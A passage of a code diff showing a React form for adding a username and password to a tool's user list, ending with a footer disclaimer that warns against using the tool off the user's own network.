{getStoredAuth() && <span className="form-hint" style={{ alignSelf: 'center' }}>Session active</span>}
|
||||||
|
</div>
|
||||||
|
<div className="form-row">
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">New Username</label>
|
||||||
|
<input type="text" className="input" placeholder="admin" value={newUser}
|
||||||
|
onChange={(e) => setNewUser(e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">New Password</label>
|
||||||
|
<input type="password" className="input" placeholder="••••••••" value={newPass}
|
||||||
|
onChange={(e) => setNewPass(e.target.value)} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button className="btn btn-outline" onClick={handleAddUser} disabled={!newUser || !newPass}>
|
||||||
|
Add User
|
||||||
|
</button>
|
||||||
|
{userMsg && (
|
||||||
|
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
|
||||||
|
)}
|
||||||
|
</NeonCard>
|
||||||
|
</div>
|
||||||
|
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||||
|
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||||
|
</footer>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user